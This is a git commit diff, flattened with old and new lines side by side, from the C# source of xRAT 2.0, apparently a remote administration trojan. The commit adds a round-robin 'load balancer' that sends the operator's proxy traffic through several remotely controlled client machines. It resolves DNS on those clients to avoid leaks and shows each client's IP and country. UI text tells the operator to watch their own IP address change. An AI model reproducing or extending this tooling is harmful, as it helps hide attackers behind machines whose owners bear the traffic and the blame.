Reverse Proxy Updates & Load Balancer

Added a Load Balancer, this will try balancing all the proxy connections
over multiple clients (keep refreshing ipchicken.com to see the cool
effect)
Resolve the DNS Hostname of the Target server at the Remote Client to
reduce DNS Leaks
This commit is contained in:
DragonHunter 2015-05-16 20:39:35 +02:00
parent 4bdfb18b8e
commit 42d7382fff
8 changed files with 145 additions and 43 deletions

View File

@ -1,4 +1,5 @@
using ProtoBuf; using ProtoBuf;
using System;
using xClient.Core.Packets; using xClient.Core.Packets;
namespace xClient.Core.ReverseProxy.Packets namespace xClient.Core.ReverseProxy.Packets
@ -18,16 +19,34 @@ public class ReverseProxyConnectResponse : IPacket
[ProtoMember(4)] [ProtoMember(4)]
public int LocalPort { get; set; } public int LocalPort { get; set; }
[ProtoMember(5)]
public string HostName { get; set; }
public ReverseProxyConnectResponse() public ReverseProxyConnectResponse()
{ {
} }
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort) public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort, string TargetServer)
{ {
this.ConnectionId = connectionId; this.ConnectionId = connectionId;
this.IsConnected = isConnected; this.IsConnected = isConnected;
this.LocalEndPoint = localEndPoint; this.LocalEndPoint = localEndPoint;
this.LocalPort = localPort; this.LocalPort = localPort;
this.HostName = "";
if (isConnected)
{
try
{
//resolve the HostName of the Server
System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(TargetServer);
if (entry != null && !String.IsNullOrEmpty(entry.HostName))
{
HostName = entry.HostName;
}
}
catch { HostName = ""; }
}
} }
public void Execute(Client client) public void Execute(Client client)

View File

@ -46,16 +46,16 @@ private void Handle_Connect(IAsyncResult ar)
} }
catch catch
{ {
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client); new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
Disconnect(); Disconnect();
} }
IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port).Execute(Client); new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port, this.Target).Execute(Client);
} }
else else
{ {
new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client); new ReverseProxyConnectResponse(ConnectionId, false, 0, 0, this.Target).Execute(Client);
} }
} }

View File

@ -18,6 +18,9 @@ public class ReverseProxyConnectResponse : IPacket
[ProtoMember(4)] [ProtoMember(4)]
public int LocalPort { get; set; } public int LocalPort { get; set; }
[ProtoMember(5)]
public string HostName { get; set; }
public ReverseProxyConnectResponse() public ReverseProxyConnectResponse()
{ {
} }

View File

@ -79,7 +79,7 @@ public int ConnectionId
public ProxyType Type { get; private set; } public ProxyType Type { get; private set; }
private ReverseProxyServer Server; private ReverseProxyServer Server;
public ListViewItem ListItem { get; set; } public string HostName { get; private set; }
public bool ProxySuccessful { get; private set; } public bool ProxySuccessful { get; private set; }
@ -349,6 +349,8 @@ public void CommandResponse(ReverseProxyConnectResponse response)
if (response.IsConnected) if (response.IsConnected)
{ {
this.HostName = response.HostName;
//tell the Proxy Client that we've established a connection //tell the Proxy Client that we've established a connection
if (Type == ProxyType.HTTPS) if (Type == ProxyType.HTTPS)
{ {

View File

@ -17,7 +17,7 @@ public class ReverseProxyServer
private Socket _socket; private Socket _socket;
private List<ReverseProxyClient> _clients; private List<ReverseProxyClient> _clients;
public ReverseProxyClient[] Clients public ReverseProxyClient[] ProxyClients
{ {
get get
{ {
@ -49,19 +49,25 @@ public ReverseProxyClient[] OpenConnections
} }
public Client Client { get; private set; } public Client[] Clients { get; private set; }
//We can also use the Random class but not sure if that will evenly spread the connections
//The Random class might even fail to make use of all the clients
private uint ClientIndex;
public ReverseProxyServer() public ReverseProxyServer()
{ {
_clients = new List<ReverseProxyClient>(); _clients = new List<ReverseProxyClient>();
} }
public void StartServer(Client client, string ipAddress, int port) public void StartServer(Client[] clients, string ipAddress, int port)
{ {
Stop(); Stop();
this.Client = client; this.Clients = clients;
this.Client.Value.ProxyServer = this;
for(int i = 0; i < clients.Length; i++)
this.Clients[i].Value.ProxyServer = this;
this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port)); this._socket.Bind(new IPEndPoint(IPAddress.Parse(ipAddress), port));
@ -75,7 +81,8 @@ private void socket_BeginAccept(IAsyncResult ar)
{ {
lock (_clients) lock (_clients)
{ {
_clients.Add(new ReverseProxyClient(Client, this._socket.EndAccept(ar), this)); _clients.Add(new ReverseProxyClient(Clients[ClientIndex % Clients.Length], this._socket.EndAccept(ar), this));
ClientIndex++;
} }
} }
catch catch

View File

@ -727,9 +727,22 @@ private void ctxtReverseProxy_Click(object sender, EventArgs e)
c.Value.FrmProxy.Focus(); c.Value.FrmProxy.Focus();
return; return;
} }
FrmReverseProxy frmRS = new FrmReverseProxy(c);
FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients());
frmRS.Show(); frmRS.Show();
} }
} }
private Client[] GetSelectedClients()
{
List<Client> clients = new List<Client>();
for (int i = 0; i < lstClients.SelectedItems.Count; i++)
{
if (lstClients.SelectedItems[i].Tag as Client != null)
clients.Add(lstClients.SelectedItems[i].Tag as Client);
}
return clients.ToArray();
}
} }
} }

View File

@ -37,16 +37,20 @@ private void InitializeComponent()
this.nudServerPort = new System.Windows.Forms.NumericUpDown(); this.nudServerPort = new System.Windows.Forms.NumericUpDown();
this.tabCtrl = new System.Windows.Forms.TabControl(); this.tabCtrl = new System.Windows.Forms.TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage(); this.tabPage1 = new System.Windows.Forms.TabPage();
this.btnStop = new System.Windows.Forms.Button();
this.lblProxyInfo = new System.Windows.Forms.Label();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.killConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.btnStop = new System.Windows.Forms.Button();
this.lblProxyInfo = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.LvConnections = new xServer.Controls.ListViewEx(); this.LvConnections = new xServer.Controls.ListViewEx();
this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lblLoadBalance = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit();
this.tabCtrl.SuspendLayout(); this.tabCtrl.SuspendLayout();
this.tabPage1.SuspendLayout(); this.tabPage1.SuspendLayout();
@ -88,6 +92,7 @@ private void InitializeComponent()
this.nudServerPort.Name = "nudServerPort"; this.nudServerPort.Name = "nudServerPort";
this.nudServerPort.Size = new System.Drawing.Size(120, 22); this.nudServerPort.Size = new System.Drawing.Size(120, 22);
this.nudServerPort.TabIndex = 2; this.nudServerPort.TabIndex = 2;
this.nudServerPort.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.nudServerPort.Value = new decimal(new int[] { this.nudServerPort.Value = new decimal(new int[] {
3128, 3128,
0, 0,
@ -101,10 +106,10 @@ private void InitializeComponent()
| System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right))); | System.Windows.Forms.AnchorStyles.Right)));
this.tabCtrl.Controls.Add(this.tabPage1); this.tabCtrl.Controls.Add(this.tabPage1);
this.tabCtrl.Location = new System.Drawing.Point(26, 82); this.tabCtrl.Location = new System.Drawing.Point(26, 115);
this.tabCtrl.Name = "tabCtrl"; this.tabCtrl.Name = "tabCtrl";
this.tabCtrl.SelectedIndex = 0; this.tabCtrl.SelectedIndex = 0;
this.tabCtrl.Size = new System.Drawing.Size(533, 261); this.tabCtrl.Size = new System.Drawing.Size(736, 274);
this.tabCtrl.TabIndex = 3; this.tabCtrl.TabIndex = 3;
// //
// tabPage1 // tabPage1
@ -113,11 +118,25 @@ private void InitializeComponent()
this.tabPage1.Location = new System.Drawing.Point(4, 22); this.tabPage1.Location = new System.Drawing.Point(4, 22);
this.tabPage1.Name = "tabPage1"; this.tabPage1.Name = "tabPage1";
this.tabPage1.Padding = new System.Windows.Forms.Padding(3); this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
this.tabPage1.Size = new System.Drawing.Size(525, 235); this.tabPage1.Size = new System.Drawing.Size(728, 248);
this.tabPage1.TabIndex = 0; this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Open Connections"; this.tabPage1.Text = "Open Connections";
this.tabPage1.UseVisualStyleBackColor = true; this.tabPage1.UseVisualStyleBackColor = true;
// //
// contextMenuStrip1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killConnectionToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26);
//
// killConnectionToolStripMenuItem
//
this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem";
this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
this.killConnectionToolStripMenuItem.Text = "Kill Connection";
this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click);
//
// btnStop // btnStop
// //
this.btnStop.Enabled = false; this.btnStop.Enabled = false;
@ -138,23 +157,20 @@ private void InitializeComponent()
this.lblProxyInfo.TabIndex = 5; this.lblProxyInfo.TabIndex = 5;
this.lblProxyInfo.Text = "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:3128 (no user/pass)"; this.lblProxyInfo.Text = "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:3128 (no user/pass)";
// //
// contextMenuStrip1 // label1
// //
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.label1.AutoSize = true;
this.killConnectionToolStripMenuItem}); this.label1.Location = new System.Drawing.Point(23, 67);
this.contextMenuStrip1.Name = "contextMenuStrip1"; this.label1.Name = "label1";
this.contextMenuStrip1.Size = new System.Drawing.Size(156, 26); this.label1.Size = new System.Drawing.Size(404, 13);
// this.label1.TabIndex = 6;
// killConnectionToolStripMenuItem this.label1.Text = "All the DNS Queries will be executed at the remote client to reduce DNS Leaks";
//
this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem";
this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
this.killConnectionToolStripMenuItem.Text = "Kill Connection";
this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click);
// //
// LvConnections // LvConnections
// //
this.LvConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.LvConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader6,
this.columnHeader7,
this.columnHeader1, this.columnHeader1,
this.columnHeader2, this.columnHeader2,
this.columnHeader3, this.columnHeader3,
@ -166,13 +182,23 @@ private void InitializeComponent()
this.LvConnections.GridLines = true; this.LvConnections.GridLines = true;
this.LvConnections.Location = new System.Drawing.Point(3, 3); this.LvConnections.Location = new System.Drawing.Point(3, 3);
this.LvConnections.Name = "LvConnections"; this.LvConnections.Name = "LvConnections";
this.LvConnections.Size = new System.Drawing.Size(519, 229); this.LvConnections.Size = new System.Drawing.Size(722, 242);
this.LvConnections.TabIndex = 0; this.LvConnections.TabIndex = 0;
this.LvConnections.UseCompatibleStateImageBehavior = false; this.LvConnections.UseCompatibleStateImageBehavior = false;
this.LvConnections.View = System.Windows.Forms.View.Details; this.LvConnections.View = System.Windows.Forms.View.Details;
this.LvConnections.VirtualMode = true; this.LvConnections.VirtualMode = true;
this.LvConnections.RetrieveVirtualItem += new System.Windows.Forms.RetrieveVirtualItemEventHandler(this.LvConnections_RetrieveVirtualItem); this.LvConnections.RetrieveVirtualItem += new System.Windows.Forms.RetrieveVirtualItemEventHandler(this.LvConnections_RetrieveVirtualItem);
// //
// columnHeader6
//
this.columnHeader6.Text = "Client IP";
this.columnHeader6.Width = 106;
//
// columnHeader7
//
this.columnHeader7.Text = "Client Country";
this.columnHeader7.Width = 106;
//
// columnHeader1 // columnHeader1
// //
this.columnHeader1.Text = "Target Server"; this.columnHeader1.Text = "Target Server";
@ -198,11 +224,22 @@ private void InitializeComponent()
this.columnHeader5.Text = "Proxy Type"; this.columnHeader5.Text = "Proxy Type";
this.columnHeader5.Width = 90; this.columnHeader5.Width = 90;
// //
// lblLoadBalance
//
this.lblLoadBalance.AutoSize = true;
this.lblLoadBalance.Location = new System.Drawing.Point(23, 84);
this.lblLoadBalance.Name = "lblLoadBalance";
this.lblLoadBalance.Size = new System.Drawing.Size(105, 13);
this.lblLoadBalance.TabIndex = 7;
this.lblLoadBalance.Text = "[Load Balance Info]";
//
// FrmReverseProxy // FrmReverseProxy
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(574, 356); this.ClientSize = new System.Drawing.Size(777, 402);
this.Controls.Add(this.lblLoadBalance);
this.Controls.Add(this.label1);
this.Controls.Add(this.lblProxyInfo); this.Controls.Add(this.lblProxyInfo);
this.Controls.Add(this.btnStop); this.Controls.Add(this.btnStop);
this.Controls.Add(this.tabCtrl); this.Controls.Add(this.tabCtrl);
@ -210,7 +247,6 @@ private void InitializeComponent()
this.Controls.Add(this.lblLocalServerPort); this.Controls.Add(this.lblLocalServerPort);
this.Controls.Add(this.btnStart); this.Controls.Add(this.btnStart);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false; this.MaximizeBox = false;
this.Name = "FrmReverseProxy"; this.Name = "FrmReverseProxy";
@ -243,5 +279,9 @@ private void InitializeComponent()
private System.Windows.Forms.Label lblProxyInfo; private System.Windows.Forms.Label lblProxyInfo;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem killConnectionToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem killConnectionToolStripMenuItem;
private System.Windows.Forms.ColumnHeader columnHeader6;
private System.Windows.Forms.ColumnHeader columnHeader7;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label lblLoadBalance;
} }
} }

View File

@ -1,4 +1,5 @@
using System; using System;
using System.Collections.Generic;
using System.Windows.Forms; using System.Windows.Forms;
using xServer.Core; using xServer.Core;
using xServer.Core.ReverseProxy; using xServer.Core.ReverseProxy;
@ -7,22 +8,36 @@ namespace xServer.Forms
{ {
public partial class FrmReverseProxy : Form public partial class FrmReverseProxy : Form
{ {
private readonly Client _connectClient; private readonly Client[] clients;
private ReverseProxyServer SocksServer { get; set; } private ReverseProxyServer SocksServer { get; set; }
private delegate void Invoky(); private delegate void Invoky();
private ReverseProxyClient[] OpenConnections; private ReverseProxyClient[] OpenConnections;
private Timer RefreshTimer; private Timer RefreshTimer;
public FrmReverseProxy(Client client) public FrmReverseProxy(Client[] clients)
{ {
InitializeComponent(); InitializeComponent();
_connectClient = client; this.clients = clients;
_connectClient.Value.FrmProxy = this;
for(int i = 0; i < clients.Length; i++)
clients[i].Value.FrmProxy = this;
} }
private void FrmReverseProxy_Load(object sender, EventArgs e) private void FrmReverseProxy_Load(object sender, EventArgs e)
{ {
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); if (clients.Length > 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [Load-Balancer is active]");
lblLoadBalance.Text = "The Load Balancer is active, " + clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works";
}
else if (clients.Length == 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", clients[0].EndPoint.Address.ToString(), clients[0].EndPoint.Port.ToString());
lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer";
}
} }
private void btnStart_Click(object sender, EventArgs e) private void btnStart_Click(object sender, EventArgs e)
@ -32,7 +47,7 @@ private void btnStart_Click(object sender, EventArgs e)
SocksServer = new ReverseProxyServer(); SocksServer = new ReverseProxyServer();
SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value); SocksServer.StartServer(clients, "0.0.0.0", (int)nudServerPort.Value);
btnStart.Enabled = false; btnStart.Enabled = false;
btnStop.Enabled = true; btnStop.Enabled = true;
@ -107,10 +122,11 @@ private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
//Stop the proxy server if still active //Stop the proxy server if still active
btnStop_Click(sender, null); btnStop_Click(sender, null);
for (int i = 0; i < clients.Length; i++)
{
if (_connectClient.Value != null) if (clients[i].Value != null)
_connectClient.Value.FrmProxy = null; clients[i].Value.FrmProxy = null;
}
} }
private void nudServerPort_ValueChanged(object sender, EventArgs e) private void nudServerPort_ValueChanged(object sender, EventArgs e)
@ -128,7 +144,9 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte
e.Item = new ListViewItem(new string[] e.Item = new ListViewItem(new string[]
{ {
Connection.TargetServer, Connection.Client.EndPoint.ToString(),
Connection.Client.Value.Country,
Connection.TargetServer + (Connection.HostName.Length > 0 ? " (" + Connection.HostName + ")" : ""),
Connection.TargetPort.ToString(), Connection.TargetPort.ToString(),
GetSizeStr(Connection.LengthReceived), GetSizeStr(Connection.LengthReceived),
GetSizeStr(Connection.LengthSended), GetSizeStr(Connection.LengthSended),